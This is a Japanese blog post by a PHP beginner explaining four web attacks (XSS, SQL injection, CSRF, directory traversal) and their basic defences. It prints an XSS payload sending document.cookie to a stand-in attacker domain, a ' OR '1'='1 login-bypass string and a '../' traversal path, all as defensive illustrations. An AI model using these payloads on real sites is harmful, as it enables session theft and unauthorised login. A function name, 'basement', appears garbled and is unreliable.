ブログBlog

PHPのセキュリティ対策

投稿日:2020年12月23日 テクノロジー

こんにちわ、江宮です。

今月よりPHPに学習をしているのですが、セキュリティ対策に関してリサーチしていると、その学習量の多さにに困惑してしまいました。

今日はその中でもWebアプリ関連で実装時に絶対意識しておいたほうがいいものをいくつかご紹介させていただきます。


クロスサイト・スクリプティング(XSS)

これは、サイトの入力フォームにスクリプトコードなどを入力すると、Webページの改ざんやCookie情報の漏洩などの意図しない処理が発生してしまう現象です。

例えば、未対策の入力フォームに

document.location=”http://攻撃者.com/script.cgi?cookie=”+document.cookie;

と入力して送信すれば、攻撃者サイトへクッキー情報を送信してしまうことになり、攻撃者はそのcookie情報をもとに不正ログインが可能になります。

対策としては、全ての入力フォームにhtmlspecialchars関数を使用することによって、特定記号をエスケープし、スクリプトコードが生成されないようにすることが挙げられます。

また、フォームの入力チェックを余計な記号・コードが入らないよう可能な限り厳格にすることもいくらか有効でしょう。


SQLインジェクション

SQLインジェクションとは、入力フォームに特定の文字列やSQLコードをを入力することで、意図しないDB処理が発生してしまうことです。

また入力フォームがログインフォームの場合、第三者のログインが可能になってしまいます。

例として、よくあるユーザーIDとパスワードを入力するログインフォームにおいて、以下の未対策SQL文を実装しているとします。

SELECT id, passward FROM user WHERE id=’入力ID’ AND passward=’入力パスワード’;

ここで、攻撃者がユーザーIDの入力フォームにに

1′ OR ‘1’ = ‘1’;–

と入力して送信すると、攻撃者はまさかのログインできてしまいます。これは、WHERE句においてユーザーID認証をTRUEとし、パスワード認証をコメントアウトしているためです。

対策としては、プリペアドステートメントを使用して入力文字列がSQL文には変換されず単なる文字列ととして扱われるようにすることで、不正な認証を防ぐことができます。

また、SQLインジェクションにはパターンがあるので、フォームの入力チェックをそれに合わせて厳格にするのも有効です。


クロスサイト・リクエストフォージェリ(CSRF)

CSRFとは、ログイン中のサイトからリンクなどによって罠サイトへアクセスしてしまいそこでボタンクリックなどをすると、組まれているプログラムによって元々ログイン中のサイト上で不正な投稿、購入、送金などの意図しない操作が発生してしまうことです。

これは、そもそも罠サイトからwebサーバーへのリクエストが、セッションIDでの認証を通過することで攻撃プログラムが発動可能になっているためです。

対策としては、攻撃者がセッションIDを保持したとしても、認証条件をもう一つ以上追加することで解決します。

代表的な例としてはワンタイムトークンの認証方法によって、クライアントとwebサーバーの双方向でのみ各処理が実行可能になるように実装します。

また、重要処理時での再認証処理の追加や参照元のURLチェックも有効です。


ディレクトリ・トラバーサル

ディレクトリ・トラバーサルとは、攻撃者がアドレスバーから相対パスでパスを詮索することによって、非公開情報が漏洩してしまうことです。

例えば、

…/Application/public/index.php

というアプリページがあったとして、

…/Application/private.php

という個人情報ファイルが存在していたとしたら、

攻撃者が公開用ページから

../private.php

と指定することで、アプリの個人情報にアクセス可能となってしまいます。

一般的な対策としては、ファイル名を指定する書き方をディレクトリパスとファイル名に分割します。

そして、ファイル名のほうにbasement関数で余計な文字列を除去することによって、攻撃を無効化できます。

他、ファイル自体に権限をつけたりファイル名をハッシュ化することも有効です。


まとめ

ここに挙げたのはほんの一部ですが、攻撃手法や対策手法は数多く存在します。

フレームワークによっても、実装方法は多彩です。

また、ハッカーレベルになると、攻撃を何重にも組み合わせたりすることも可能でしょう。

各対策手法についても、攻撃に対して100%ブロック可能なのかなど、セキュリティに関してはいつかじっくり学ぶ必要性を感じました。

PAGE TOP